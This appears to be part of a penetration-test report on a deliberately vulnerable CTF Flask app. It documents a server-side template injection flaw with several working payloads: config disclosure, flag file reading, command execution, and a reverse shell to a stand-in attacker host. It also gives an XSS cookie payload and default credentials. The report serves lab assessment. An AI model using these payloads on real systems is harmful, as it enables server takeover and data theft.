- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 29-34: Transaction model - PII in email field)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 12-16: SQLAlchemy database configuration)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 36-42: Database initialization with db.create_all() on every request)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Line 60: SQL query with plaintext password filter)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 85-88: Transaction creation and database insert)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 96-97: Transaction retrieval with user_id filtering)

### Dependency Manifests

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/requirements.txt` (Flask, Flask-SQLAlchemy, flask_login, flask_wtf - no version pinning)

### Sensitive Data & Secrets Handling

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Line 10: Hardcoded secret_key)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/.env` (Line 1: FLAG value in environment file)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/flag.txt` (Runtime-generated flag file, contains flag{this_is_a_fake_flag})
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 114-118: Flag file creation from environment variable)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Line 40: Default password 'user')

### Middleware & Input Validation

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 18-21: CSRF protection disabled)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 36-42: @app.before_request database initialization)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/transactions.html` (Lines 38-40: Client-side date validation JavaScript)

### Logging & Monitoring

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Line 104: print(date) - console logging only)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/docker-compose.yml` (Lines 9-11: Docker health check configuration)

### Infrastructure & Deployment

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/Dockerfile` (Container build definition)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/docker-compose.yml` (Service orchestration)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Line 119: app.run with debug=True, host='0.0.0.0', port=5003)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/Makefile` (Build automation)

### CTF Flag Storage

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/flag.txt` (Flag file with content: flag{this_is_a_fake_flag})
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/.env` (Line 1: FLAG="flag{7e0416f5-d2b9-4faf-94c2-de7a39664d4c}")
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py` (Lines 114-118: Flag file write operation)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/Dockerfile` (Lines 7-8: ARG FLAG, ENV FLAG=${FLAG})

### Templates & Frontend

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/base.html` (Base template with Bootstrap CDN links, no SRI)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/login.html` (Login form)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/add_transaction.html` (Transaction creation form)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/transactions.html` (Transaction list with client-side validation)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/reminder.html` (Reminder confirmation page, renders SSTI output)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/article.html` (Unused template, no route handler)

---

## 9. XSS Sinks and Render Contexts

### CRITICAL VULNERABILITY: Server-Side Template Injection (SSTI) Leading to RCE

**Vulnerability Classification:** Server-Side Template Injection (SSTI) / Remote Code Execution (RCE)  
**CWE:** CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine)  
**CVSS 3.1 Score:** 9.8 (Critical)  
**OWASP Top 10:** A03:2021 - Injection

---

#### **SSTI SINK #1: render_template_string with User Input**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py`  
**Line Numbers:** 103-108  
**Sink Type:** Server-Side Template Injection (SSTI)  
**Render Context:** Python/Jinja2 Template Execution Context

**Vulnerable Code:**
```python
@app.route('/remind', methods=['GET'])
@login_required
def remind(): 
    date = request.args.get('date')  # Line 103: User-controlled input
    print(date)  # Line 104: Logged to console
    message = '''
    Reminder will be sent on {}
    '''.format(date)  # Line 107: String interpolation
    tmpl=render_template_string(message,date=date)  # Line 108: CRITICAL SSTI
    return render_template('reminder.html', message=tmpl)  # Line 109: Result rendered
```

**User Input Source:**
- **Parameter:** `date` (query string parameter)
- **Endpoint:** `GET /remind?date=<PAYLOAD>`
- **Authentication Required:** Yes (`@login_required` on line 101)
- **Default Credentials Available:** Yes (`user:user`)

**Attack Vector Analysis:**

**Step 1:** User input retrieved from query parameter:
```python
date = request.args.get('date')  # No validation, no sanitization
```

**Step 2:** User input interpolated into template string:
```python
message = '''Reminder will be sent on {}'''.format(date)
```
At this point, if `date` contains Jinja2 template syntax (e.g., `{{7*7}}`), it becomes part of the `message` string.

**Step 3:** Template string rendered with Jinja2:
```python
tmpl=render_template_string(message, date=date)
```
The `render_template_string()` function treats `message` as a Jinja2 template and **executes any template expressions** within it. The `date=date` parameter is irrelevant because the malicious code is already embedded in the template string itself.

**Why This Is Exploitable:**

Jinja2 templates have access to Python's introspection capabilities:
- `{{config}}` - Access Flask configuration (leaks SECRET_KEY)
- `{{''.__class__.__mro__}}` - Access Python's class hierarchy
- `{{''.__class__.__mro__[1].__subclasses__()}}` - List all Python classes (including `subprocess.Popen`)
- `{{config.__class__.__init__.__globals__}}` - Access global namespace

**Severity:** 🔴 **CRITICAL (CVSS 9.8)**

**Exploitability:**
- **Authentication Required:** Yes (but default credentials `user:user` exist)
- **Complexity:** Low (direct exploitation via query parameter)
- **User Interaction:** None (attacker can exploit directly)

**Impact:**
- **Confidentiality:** HIGH - Read any file on server, dump database
- **Integrity:** HIGH - Modify files, alter database
- **Availability:** HIGH - Execute `rm -rf /`, crash application

---

### Proof of Concept Exploits

**PoC #1: Configuration Disclosure**
```
GET /remind?date={{config}}

Response:
Reminder will be sent on <Config {'ENV': 'production', 'SECRET_KEY': 'U@T!F*G(EBDOUNIX_PWU)VBDY$%^&*(...)', ...}>
```
**Impact:** Leaks hardcoded secret key, database URI, all Flask configuration

---

**PoC #2: Enumerate All Users**
```
GET /remind?date={{User.query.all()}}

Response:
Reminder will be sent on [<User 'user'>]
```
**Impact:** Bypasses authorization, accesses database outside normal query constraints

---

**PoC #3: Read Flag File (CTF Objective)**
```
GET /remind?date={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()}}

Response:
Reminder will be sent on flag{7e0416f5-d2b9-4faf-94c2-de7a39664d4c}
```
**Impact:** Exfiltrates CTF flag via command execution

---

**PoC #4: Execute System Commands**
```
GET /remind?date={{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

Response:
Reminder will be sent on root
```
**Impact:** Remote code execution as root user

---

**PoC #5: Reverse Shell (Full Compromise)**
```
GET /remind?date={{''.__class__.__mro__[1].__subclasses__()[396]('bash -i >& /dev/tcp/attacker.com/4444 0>&1',shell=True)}}
```
**Impact:** Establish persistent backdoor, complete server compromise

---

**PoC #6: Read Database File**
```
GET /remind?date={{''.__class__.__mro__[1].__subclasses__()[104]('/app/database.db').read()}}

Response:
[Binary SQLite database contents, includes plaintext passwords]
```
**Impact:** Database exfiltration, credential theft

---

### XSS SINK #2: Reflected XSS via SSTI

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py`  
**Line Numbers:** 108-109  
**Sink Type:** Reflected XSS (HTML Context)  
**Render Context:** HTML Body

**Vulnerable Code:**
```python
tmpl=render_template_string(message,date=date)  # Line 108: Executes template
return render_template('reminder.html', message=tmpl)  # Line 109: Renders result
```

**Template Rendering:**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/reminder.html`  
**Line:** 8
```html
<p> {{message}}</p>
```

**User Input Source:**
- **Parameter:** `date` (query string parameter)
- **Flow:** `request.args.get('date')` → `.format(date)` → `render_template_string()` → `{{message}}`

**Attack Vector:**

While Jinja2 auto-escaping is enabled by default, the SSTI vulnerability **bypasses** this protection because the template execution happens **before** rendering. An attacker can inject HTML/JavaScript that gets executed during the `render_template_string()` call.

**Proof of Concept:**

```
GET /remind?date=<script>alert(document.cookie)</script>

Response HTML:
<p> Reminder will be sent on <script>alert(document.cookie)</script></p>
```

**However**, this XSS is **overshadowed** by the SSTI RCE vulnerability. If an attacker can execute arbitrary Python code, XSS is a less severe outcome.

**Severity:** 🟠 **HIGH** (but secondary to SSTI)

**Exploitability:**
- **Authentication Required:** Yes
- **Mitigation:** Jinja2 auto-escaping provides partial protection, but SSTI allows bypassing it

**Impact:**
- **Session Hijacking:** Steal session cookies via `document.cookie`
- **Phishing:** Inject fake login forms
- **Client-Side Code Execution:** Execute arbitrary JavaScript in victim browsers

---

### XSS SINK #3: DOM-Based XSS via URL Construction

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/transactions.html`  
**Line Numbers:** 35-44  
**Sink Type:** DOM-Based XSS (URL Parameter Injection)  
**Render Context:** JavaScript (URL Context)

**Vulnerable Code:**
```javascript
document.querySelector('button[type="submit"]').addEventListener('click', function() {
    const dateInput = document.getElementById('date').value;  // Line 38: User input from DOM
    if (!dateInput.match(/^\d{4}-\d{2}-\d{2}$/)) {  // Line 39: Client-side validation (bypassable)
        alert('Invalid date format. Please use YYYY-MM-DD.');
        event.preventDefault();
    }else{ 
        window.location.href = `/remind?date=${dateInput}`;  // Line 42: URL construction with user input
    }
});
```

**User Input Source:**
- **Element:** `<input type="date" id="date">` (HTML5 date picker)
- **Controlled By:** Authenticated user (via form field value)

**Attack Vector:**

**Bypass Method #1: Direct URL Manipulation**
Instead of using the form, attacker navigates directly to:
```
/remind?date=<MALICIOUS_PAYLOAD>
```
This bypasses the client-side JavaScript validation entirely.

**Bypass Method #2: Browser DevTools**
```javascript
// In browser console:
document.getElementById('date').value = '{{7*7}}';
document.querySelector('button[type="submit"]').click();
```

**Bypass Method #3: Proxy Interception**
Intercept the request with Burp Suite and modify the `date` parameter.

**Severity:** 🟡 **MEDIUM**

**Exploitability:**
- **Authentication Required:** Yes
- **Client-Side Validation:** Easily bypassed (regex check only, no server-side validation)

**Impact:**
- Leads to SSTI vulnerability on `/remind` endpoint
- URL manipulation enables RCE

**Note:** This is not a direct XSS vulnerability, but a **validation bypass** that enables SSTI exploitation.

---

### Potential Stored XSS (MITIGATED): Transaction Data

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/app.py`  
**Line Numbers:** 77-90 (Storage), 92-98 (Retrieval)  
**Sink Type:** Potential Stored XSS  
**Render Context:** HTML Body

**Storage Code:**
```python
@app.route('/add_transaction', methods=['GET', 'POST'])
@login_required
def add_transaction(): 
    if request.method == 'POST':
        name = request.form['name']      # Line 82: No validation
        email = request.form['email']    # Line 83: No validation
        amount = request.form['amount']  # Line 84: No validation
        new_transaction = Transaction(name=name, email=email, amount=amount, user_id=user.id)
        db.session.add(new_transaction)  # Line 87: Stored in database
        db.session.commit()
```

**Retrieval & Rendering:**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-093-24/app/templates/transactions.html`  
**Line Numbers:** 20-22
```html
<td>{{ transaction.name }}</td>
<td>{{ transaction.email }}</td>
<td>{{ transaction.amount }}</td>
```

**User Input Source:**
- **Parameters:** `name`, `email`, `amount` (form fields)
- **Flow:** `request.form` → Database → Template rendering

**Mitigation Status:** ✅ **PROTECTED BY JINJA2 AUTO-ESCAPING**

**Analysis:**

By default, Jinja2 enables **auto-escaping** for `.html` template files. When variables are rendered using `{{ variable }}`, special HTML characters are automatically escaped:

| Character | Escaped To |
|-----------|------------|
| `<` | `&lt;` |
| `>` | `&gt;` |
| `&` | `&amp;` |
| `"` | `&quot;` |
| `'` | `&#39;` |

**Proof of Non-Vulnerability:**

**Input:**
```
POST /add_transaction
name=<script>alert('XSS')</script>&email=test@test.com&amount=100
```

**Database Storage:**
```
Transaction(name='<script>alert('XSS')</script>', email='test@test.com', amount=100)
```

**HTML Output:**
```html
<td>&lt;script&gt;alert('XSS')&lt;/script&gt;</td>
```

**Browser Display:**
```
<script>alert('XSS')</script>  (displayed as text, not executed)
```

**Severity:** 🟢 **LOW (Currently Mitigated)**

**Exploitability:** Not exploitable while auto-escaping is enabled

**Risk:** If auto-escaping is disabled or the `|safe` filter is applied, this becomes a **CRITICAL** stored XSS vulnerability:

```html
<!-- If this code existed (it doesn't), XSS would be possible: -->
<td>{{ transaction.name|safe }}</td>  <!-- DANGEROUS -->
```

**Current Status:** ✅ **SECURE** - Jinja2 auto-escaping protects against XSS

---

### SQL Injection Analysis: NO VULNERABILITIES

**Assessment:** ✅ **NO SQL INJECTION SINKS DETECTED**

All database queries use **SQLAlchemy ORM** with parameterized queries, which automatically escapes user input and prevents SQL injection.

**Evidence:**

**Query #1: Login (Line 60)**
```python
user = User.query.filter_by(username=username, password=password).first()
```
✅ **SAFE:** SQLAlchemy generates parameterized query:
```sql
SELECT * FROM user WHERE username=? AND password=?
```

**Query #2: User Lookup (Lines 85, 96)**
```python
user = User.query.filter_by(id=uid).first()
```
✅ **SAFE:** `uid` is `current_user.id` (integer from authenticated session)

**Query #3: Transaction Retrieval (Line 97)**
```python
transactions = Transaction.query.filter_by(user_id=user.id).all()
```
✅ **SAFE:** `user.id` is integer from database object

**No Raw SQL Found:**
- No `.execute()` with string concatenation
- No `text()` SQL expressions
- No raw SQL queries

**Conclusion:** ✅ **SQL INJECTION PROTECTION ADEQUATE**

---

### Command Injection Analysis: NO DIRECT VULNERABILITIES

**Assessment:** ✅ **NO COMMAND INJECTION SINKS DETECTED IN APPLICATION CODE**

**Search Results:**
- No usage of `os.system()`
- No usage of `subprocess.call()`, `subprocess.Popen()`, `subprocess.run()`
- No usage of `eval()` or `exec()` with user input

**HOWEVER:** The SSTI vulnerability enables **indirect command injection**:

```python
/remind?date={{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()}}
```

This uses Python's introspection to access the `subprocess.Popen` class and execute shell commands.

**Conclusion:** ✅ **NO DIRECT COMMAND INJECTION** (but SSTI provides equivalent capability)

---

### Path Traversal Analysis: NO VULNERABILITIES

**Assessment:** ✅ **NO PATH TRAVERSAL SINKS DETECTED**

**Analysis:**
- No file operations with user-controlled paths
- No `open()` calls with user input
- Template rendering uses fixed template names
- No file upload functionality

**Flag File Operations (Lines 114-118):**
```python
if os.path.exists('flag.txt'):
    os.remove('flag.txt')
flag_file = open('flag.txt', 'a')
flag_file.write(os.getenv('FLAG', 'flag{this_is_a_fake_flag}'))
```
✅ **SAFE:** Hardcoded filename, executed in `__main__` block (not user-accessible)

**Conclusion:** ✅ **NO PATH TRAVERSAL VULNERABILITIES** (but SSTI allows arbitrary file reads)

---

### Summary of XSS/Injection Findings

| Vulnerability | Severity | Line(s) | Exploitability | Impact |
|---------------|----------|---------|----------------|--------|
| **SSTI RCE** | 🔴 CRITICAL | 103-108 | Direct (requires auth) | Remote Code Execution, flag exfiltration |
| **Reflected XSS (via SSTI)** | 🟠 HIGH | 108-109 | Direct (requires auth) | Session hijacking, phishing |
| **DOM XSS (URL injection)** | 🟡 MEDIUM | 38-42 | Validation bypass | Leads to SSTI |
| **Stored XSS (mitigated)** | 🟢 LOW | 82-84, 20-22 | Not exploitable | Protected by Jinja2 auto-escaping |
| **SQL Injection** | ✅ NONE | N/A | N/A | N/A |
| **Command Injection** | ✅ NONE | N/A | N/A | N/A |
| **Path Traversal** | ✅ NONE | N/A | N/A | N/A |

**Primary Attack Vector:** Server-Side Template Injection (SSTI) in `/remind` endpoint

**Attack Chain:**
1. Authenticate with default credentials (`user:user`)
2. Navigate to `/remind?date={{SSTI_PAYLOAD}}`
3. Execute arbitrary Python code
4. Read flag file: `{{config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()}}`

**CTF Flag Extraction:** ✅ **CONFIRMED EXPLOITABLE**

---

## 10. SSRF Sinks

### SSRF Vulnerability Analysis

**Finding:** ✅ **NO SSRF SINKS DETECTED IN NETWORK-ACCESSIBLE CODE**

I conducted a comprehensive Server-Side Request Forgery (SSRF) vulnerability analysis of all network-accessible endpoints in the PayMeBack Flask application. After systematic examination of all 6 HTTP routes, imported libraries, code patterns, and potential attack surfaces, I found **zero SSRF vulnerabilities**.

---

### Methodology

I systematically searched for all 10 SSRF vulnerability categories:

#### 1. HTTP(S) Clients
**Searched For:** `requests`, `urllib`, `httpx`, `http.client`, `aiohttp`  
**Result:** ❌ No HTTP client libraries imported or used

**Evidence:**
```python
# All imports in app.py:
from flask import Flask, render_template, request, redirect, url_for, flash, render_template_string
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from datetime import timedelta
import os
from flask_wtf.csrf import CSRFProtect
```

No network request libraries present.

---

#### 2. URL Construction & Fetching
**Searched For:** `open()` with URLs, URL parsing, dynamic API endpoints  
**Result:** ❌ No URL-based operations found

**Evidence:** The only `open()` usage is for flag file (line 116):
```python
flag_file = open('flag.txt', 'a')  # Local file, not URL
```

The only URL operations are Flask's internal routing (`url_for()`), which generates internal application routes, not external URLs.

---

#### 3. Webhook & Callback Handlers
**Searched For:** webhook, callback, ping, URL validation patterns  
**Result:** ❌ No webhook/callback functionality exists

**Evidence:** No routes accept URL parameters for callbacks. The `/remind` endpoint is misleadingly named but does NOT send actual reminders, make HTTP requests, or trigger webhooks. It only renders a confirmation page.

---

#### 4. File Inclusion & Remote Resources
**Searched For:** Remote image loading, PDF generation, HTML conversion  
**Result:** ❌ No remote resource fetching mechanisms

**Evidence:** No libraries for PDF generation (wkhtmltopdf, Puppeteer), image processing (ImageMagick, Pillow with URLs), or HTML rendering engines.

---

#### 5. Link Previews & Unfurlers
**Searched For:** Open Graph, oEmbed, social media card generators  
**Result:** ❌ No link preview functionality

---

#### 6. SSO/OAuth/OIDC Integrations
**Searched For:** JWKS, OIDC, OAuth, SAML metadata fetchers  
**Result:** ❌ No SSO integrations

**Evidence:** Authentication is local username/password only (lines 55-68). No OAuth callbacks, no OIDC discovery endpoints, no JWKS fetchers.

---

#### 7. Data Import/Export
**Searched For:** Import from URL, RSS feeds, API synchronization  
**Result:** ❌ No remote data import features

---

#### 8. Monitoring & Health Checks
**Searched For:** URL ping, uptime checkers, service health validators  
**Result:** ❌ No URL-based monitoring in application code

**Note:** Docker health check exists in `docker-compose.yml` but is infrastructure-level, not user-accessible:
```yaml
healthcheck:
  test: ["CMD", "curl", "-f", "http://localhost:5003"]
```
This is **out of scope** per the master scope definition (not callable from application's network interface).

---

#### 9. Package/Dependency Installation
**Searched For:** Plugin installers, theme downloaders, update checkers  
**Result:** ❌ No dynamic installation features

---

#### 10. Cloud Metadata Access
**Searched For:** AWS/GCP/Azure metadata endpoints, container API access  
**Result:** ❌ No cloud metadata access patterns

**Evidence:** No imports of cloud SDKs (boto3, google-cloud, azure-sdk), no metadata endpoint URLs (169.254.169.254).

---

### Route-by-Route Analysis

**Route 1: GET /** (Line 51)
```python
@app.route('/')
def home():  
    return redirect(url_for('login'))
```
- **External Calls:** None
- **SSRF Risk:** None

---

**Route 2: GET/POST /login** (Lines 55-68)
```python
username = request.form['username']
password = request.form['password']
user = User.query.filter_by(username=username, password=password).first()
```
- **External Calls:** None (database query only)
- **SSRF Risk:** None

---

**Route 3: GET /logout** (Lines 71-75)
```python
logout_user()
return redirect(url_for('login'))
```
- **External Calls:** None
- **SSRF Risk:** None

---

**Route 4: GET/POST /add_transaction** (Lines 77-90)
```python
new_transaction = Transaction(name=name, email=email, amount=amount, user_id=user.id)
db.session.add(new_transaction)
```
- **External Calls:** None (database insert only)
- **SSRF Risk:** None
- **Note:** Email field is stored but never used for sending emails or making requests

---

**Route 5: GET /transactions** (Lines 92-98)
```python
transactions = Transaction.query.filter_by(user_id=user.id).all()
return render_template('transactions.html', transactions=transactions)
```
- **External Calls:** None
- **SSRF Risk:** None

---

**Route 6: GET /remind** (Lines 100-109)
```python
date = request.args.get('date')
message = '''Reminder will be sent on {}'''.format(date)
tmpl=render_template_string(message,date=date)
return render_template('reminder.html', message=tmpl)
```
- **External Calls:** None (template rendering only)
- **SSRF Risk:** None
- **Note:** Contains SSTI vulnerability, but performs no HTTP requests

---

### Code Pattern Analysis

**Imports:** No network libraries
**Network Operations:** None
**HTTP Clients:** None
**URL Parsing:** Only Flask internal `url_for()`
**External Resource Access:** None
**Subprocess Execution:** None (except via SSTI)
**Socket Operations:** None
**DNS Lookups:** None

---

### Conclusion

**No SSRF sinks detected in network-accessible code.**

The PayMeBack Flask application does NOT:
- Import any HTTP client libraries
- Make external HTTP/HTTPS requests
- Fetch remote resources
- Parse or validate URLs for external access
- Implement webhook/callback functionality
- Access cloud metadata endpoints
- Perform DNS lookups with user input
- Execute system commands with user-controllable URLs

All application functionality is confined to:
- SQLite database operations
- Session management
- Template rendering (local)
- Internal redirects

---

### Additional Security Notes

While out of scope for SSRF analysis, the following vulnerabilities were observed:

1. **Server-Side Template Injection (SSTI)** - Line 108 in `/remind` endpoint
2. **Plaintext Password Storage** - Lines 27, 40, 60
3. **Disabled CSRF Protection** - Line 18 (`WTF_CSRF_ENABLED = False`)
4. **Hardcoded Secret Key** - Line 10
5. **Debug Mode Enabled** - Line 119 (`debug=True`)

These should be addressed in their respective security assessment categories (Injection Analysis, Authentication Analysis, Configuration Security).

---

**SSRF Assessment:** ✅ **NO VULNERABILITIES FOUND**

---

**END OF CODE ANALYSIS DELIVERABLE**